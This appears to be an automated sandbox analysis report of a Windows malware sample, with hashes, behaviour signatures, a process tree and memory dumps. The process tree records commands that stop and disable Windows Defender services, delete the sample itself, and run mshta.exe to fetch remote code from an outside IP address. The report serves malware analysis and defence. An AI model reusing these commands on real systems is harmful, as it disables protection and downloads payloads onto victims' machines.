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Analysis

  • max time kernel
    150s
  • max time network
    119s
  • platform
    windows7_x64
  • resource
    win7-20240705-en
  • resource tags

    arch:x64arch:x86image:win7-20240705-enlocale:en-usos:windows7-x64system
  • submitted
    23/08/2024, 14:47

General

  • Target

    bc2cfbc203f01930cb56f143d26856fb_JaffaCakes118.exe

  • Size

    2.5MB

  • MD5

    bc2cfbc203f01930cb56f143d26856fb

  • SHA1

    9f08d0a201ffae04d835864aad3e84a5bc7fe7f5

  • SHA256

    f39643b37ec937d7955ed787baf39869d9823c4cb8d58a552e62956bc8a1c1b1

  • SHA512

    951a3ca3c125c9c01803e3b363b679e3fb47afb88671306bea784080ac4d4149d53fcc803bb4e7e76bbb6550df44908031f0af32dce67d5f681a467da65ac108

  • SSDEEP

    49152:zZEq5/FFhaH5k8ZMCzeDpiqzukgMBwZneQlllb7pEnYWH:NX5dPaZkaMZD1rJw/lllb7piYWH

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

http://78.26.187.108/soft-usage/favicon.ico?0=1200&1=EXCFTDUU&2=i-s&3=77&4=7601&5=6&6=1&7=99600&8=1033

Signatures

  • Disables service(s) 3 TTPs
  • Modifies WinLogon for persistence 2 TTPs 1 IoCs
  • Blocklisted process makes network request 2 IoCs
  • Event Triggered Execution: Image File Execution Options Injection 1 TTPs 12 IoCs
  • Stops running service(s) 4 TTPs
  • Deletes itself 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 2 IoCs
  • Indicator Removal: File Deletion 1 TTPs

    Adversaries may delete files left behind by the actions of their intrusion activity.

  • Launches sc.exe 6 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • System Location Discovery: System Language Discovery 1 TTPs 14 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 4 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 52 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\bc2cfbc203f01930cb56f143d26856fb_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\bc2cfbc203f01930cb56f143d26856fb_JaffaCakes118.exe"
    1⤵
    • Loads dropped DLL
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:2180
    • C:\Windows\SysWOW64\sc.exe
      sc stop WinDefend
      2⤵
      • Launches sc.exe
      • System Location Discovery: System Language Discovery
      PID:2808
    • C:\Windows\SysWOW64\sc.exe
      sc config WinDefend start= disabled
      2⤵
      • Launches sc.exe
      • System Location Discovery: System Language Discovery
      PID:2524
    • C:\Windows\SysWOW64\net.exe
      net stop msmpsvc
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2104
      • C:\Windows\SysWOW64\net1.exe
        C:\Windows\system32\net1 stop msmpsvc
        3⤵
        • System Location Discovery: System Language Discovery
        PID:2564
    • C:\Windows\SysWOW64\sc.exe
      sc config msmpsvc start= disabled
      2⤵
      • Launches sc.exe
      • System Location Discovery: System Language Discovery
      PID:2632
    • C:\Users\Admin\AppData\Roaming\eudlkk.exe
      C:\Users\Admin\AppData\Roaming\eudlkk.exe
      2⤵
      • Modifies WinLogon for persistence
      • Event Triggered Execution: Image File Execution Options Injection
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:2556
      • C:\Windows\SysWOW64\sc.exe
        sc stop WinDefend
        3⤵
        • Launches sc.exe
        • System Location Discovery: System Language Discovery
        PID:3048
      • C:\Windows\SysWOW64\sc.exe
        sc config WinDefend start= disabled
        3⤵
        • Launches sc.exe
        • System Location Discovery: System Language Discovery
        PID:2408
      • C:\Windows\SysWOW64\net.exe
        net stop msmpsvc
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:588
        • C:\Windows\SysWOW64\net1.exe
          C:\Windows\system32\net1 stop msmpsvc
          4⤵
          • System Location Discovery: System Language Discovery
          PID:2844
      • C:\Windows\SysWOW64\sc.exe
        sc config msmpsvc start= disabled
        3⤵
        • Launches sc.exe
        • System Location Discovery: System Language Discovery
        PID:332
      • C:\Windows\SysWOW64\mshta.exe
        mshta.exe "http://78.26.187.108/soft-usage/favicon.ico?0=1200&1=EXCFTDUU&2=i-s&3=77&4=7601&5=6&6=1&7=99600&8=1033"
        3⤵
        • Blocklisted process makes network request
        • System Location Discovery: System Language Discovery
        • Modifies Internet Explorer settings
        PID:2744
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c del "C:\Users\Admin\AppData\Local\Temp\BC2CFB~1.EXE" >> NUL
      2⤵
      • Deletes itself
      • System Location Discovery: System Language Discovery
      PID:2588

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • \Users\Admin\AppData\Roaming\eudlkk.exe

    Filesize

    2.5MB

    MD5

    bc2cfbc203f01930cb56f143d26856fb

    SHA1

    9f08d0a201ffae04d835864aad3e84a5bc7fe7f5

    SHA256

    f39643b37ec937d7955ed787baf39869d9823c4cb8d58a552e62956bc8a1c1b1

    SHA512

    951a3ca3c125c9c01803e3b363b679e3fb47afb88671306bea784080ac4d4149d53fcc803bb4e7e76bbb6550df44908031f0af32dce67d5f681a467da65ac108

  • memory/2180-9-0x00000000008C0000-0x000000000091A000-memory.dmp

    Filesize

    360KB

  • memory/2180-8-0x00000000034E0000-0x00000000034E1000-memory.dmp

    Filesize

    4KB

  • memory/2180-7-0x0000000000390000-0x0000000000391000-memory.dmp

    Filesize

    4KB

  • memory/2180-6-0x0000000000370000-0x0000000000371000-memory.dmp

    Filesize

    4KB

  • memory/2180-5-0x0000000000380000-0x0000000000381000-memory.dmp

    Filesize

    4KB

  • memory/2180-4-0x0000000000300000-0x0000000000301000-memory.dmp

    Filesize

    4KB

  • memory/2180-3-0x00000000002C0000-0x00000000002C1000-memory.dmp

    Filesize

    4KB

  • memory/2180-2-0x00000000002D0000-0x00000000002D1000-memory.dmp

    Filesize

    4KB

  • memory/2180-1-0x00000000002E0000-0x00000000002E1000-memory.dmp

    Filesize

    4KB

  • memory/2180-40-0x00000000021A0000-0x00000000021A1000-memory.dmp

    Filesize

    4KB

  • memory/2180-39-0x0000000002240000-0x0000000002241000-memory.dmp

    Filesize

    4KB

  • memory/2180-38-0x0000000002460000-0x0000000002461000-memory.dmp

    Filesize

    4KB

  • memory/2180-37-0x0000000002230000-0x0000000002231000-memory.dmp

    Filesize

    4KB

  • memory/2180-36-0x00000000021F0000-0x00000000021F1000-memory.dmp

    Filesize

    4KB

  • memory/2180-35-0x0000000002200000-0x0000000002201000-memory.dmp

    Filesize

    4KB

  • memory/2180-34-0x0000000002210000-0x0000000002211000-memory.dmp

    Filesize

    4KB

  • memory/2180-33-0x00000000021D0000-0x00000000021D1000-memory.dmp

    Filesize

    4KB

  • memory/2180-32-0x0000000000920000-0x0000000000921000-memory.dmp

    Filesize

    4KB

  • memory/2180-31-0x00000000021B0000-0x00000000021B1000-memory.dmp

    Filesize

    4KB

  • memory/2180-30-0x00000000003C0000-0x00000000003C1000-memory.dmp

    Filesize

    4KB

  • memory/2180-29-0x00000000003D0000-0x00000000003D1000-memory.dmp

    Filesize

    4KB

  • memory/2180-28-0x00000000003E0000-0x00000000003E1000-memory.dmp

    Filesize

    4KB

  • memory/2180-27-0x00000000034D0000-0x00000000034D1000-memory.dmp

    Filesize

    4KB

  • memory/2180-26-0x00000000034D0000-0x00000000034D1000-memory.dmp

    Filesize

    4KB

  • memory/2180-25-0x00000000034D0000-0x00000000034D1000-memory.dmp

    Filesize

    4KB

  • memory/2180-24-0x00000000034D0000-0x00000000034D1000-memory.dmp

    Filesize

    4KB

  • memory/2180-23-0x00000000034E0000-0x00000000034E1000-memory.dmp

    Filesize

    4KB

  • memory/2180-22-0x00000000034E0000-0x00000000034E1000-memory.dmp

    Filesize

    4KB

  • memory/2180-21-0x00000000034E0000-0x00000000034E1000-memory.dmp

    Filesize

    4KB

  • memory/2180-20-0x00000000034E0000-0x00000000034E1000-memory.dmp

    Filesize

    4KB

  • memory/2180-19-0x00000000034E0000-0x00000000034E1000-memory.dmp

    Filesize

    4KB

  • memory/2180-18-0x00000000034E0000-0x00000000034E1000-memory.dmp

    Filesize

    4KB

  • memory/2180-17-0x00000000034E0000-0x00000000034E1000-memory.dmp

    Filesize

    4KB

  • memory/2180-16-0x00000000034E0000-0x00000000034E1000-memory.dmp

    Filesize

    4KB

  • memory/2180-15-0x00000000034E0000-0x00000000034E1000-memory.dmp

    Filesize

    4KB

  • memory/2180-14-0x00000000034E0000-0x00000000034E1000-memory.dmp

    Filesize

    4KB

  • memory/2180-13-0x00000000034E0000-0x00000000034E1000-memory.dmp

    Filesize

    4KB

  • memory/2180-12-0x00000000034E0000-0x00000000034E1000-memory.dmp

    Filesize

    4KB

  • memory/2180-11-0x00000000034E0000-0x00000000034E1000-memory.dmp

    Filesize

    4KB

  • memory/2180-10-0x0000000000350000-0x0000000000351000-memory.dmp

    Filesize

    4KB

  • memory/2180-0-0x0000000000400000-0x00000000008B6000-memory.dmp

    Filesize

    4.7MB

  • memory/2180-41-0x00000000034D0000-0x00000000034D1000-memory.dmp

    Filesize

    4KB

  • memory/2180-42-0x00000000034D0000-0x00000000034D1000-memory.dmp

    Filesize

    4KB

  • memory/2180-43-0x00000000034D0000-0x00000000034D1000-memory.dmp

    Filesize

    4KB

  • memory/2180-47-0x00000000034E0000-0x00000000034E1000-memory.dmp

    Filesize

    4KB

  • memory/2180-46-0x00000000034C0000-0x00000000034C2000-memory.dmp

    Filesize

    8KB

  • memory/2180-45-0x00000000034D0000-0x00000000034D2000-memory.dmp

    Filesize

    8KB

  • memory/2180-44-0x0000000000400000-0x00000000008B6000-memory.dmp

    Filesize

    4.7MB

  • memory/2180-48-0x00000000002A0000-0x00000000002A1000-memory.dmp

    Filesize

    4KB

  • memory/2180-50-0x00000000034F0000-0x00000000034F1000-memory.dmp

    Filesize

    4KB

  • memory/2180-49-0x00000000002B0000-0x00000000002B1000-memory.dmp

    Filesize

    4KB

  • memory/2180-53-0x00000000008C0000-0x000000000091A000-memory.dmp

    Filesize

    360KB

  • memory/2180-60-0x00000000034D0000-0x00000000034D1000-memory.dmp

    Filesize

    4KB

  • memory/2180-59-0x0000000004920000-0x0000000004DD6000-memory.dmp

    Filesize

    4.7MB

  • memory/2180-66-0x0000000000400000-0x00000000008B6000-memory.dmp

    Filesize

    4.7MB

  • memory/2180-64-0x00000000008C0000-0x000000000091A000-memory.dmp

    Filesize

    360KB

  • memory/2180-61-0x0000000004920000-0x0000000004DD6000-memory.dmp

    Filesize

    4.7MB

  • memory/2556-65-0x0000000000400000-0x00000000008B6000-memory.dmp

    Filesize

    4.7MB

  • memory/2556-69-0x0000000000400000-0x00000000008B6000-memory.dmp

    Filesize

    4.7MB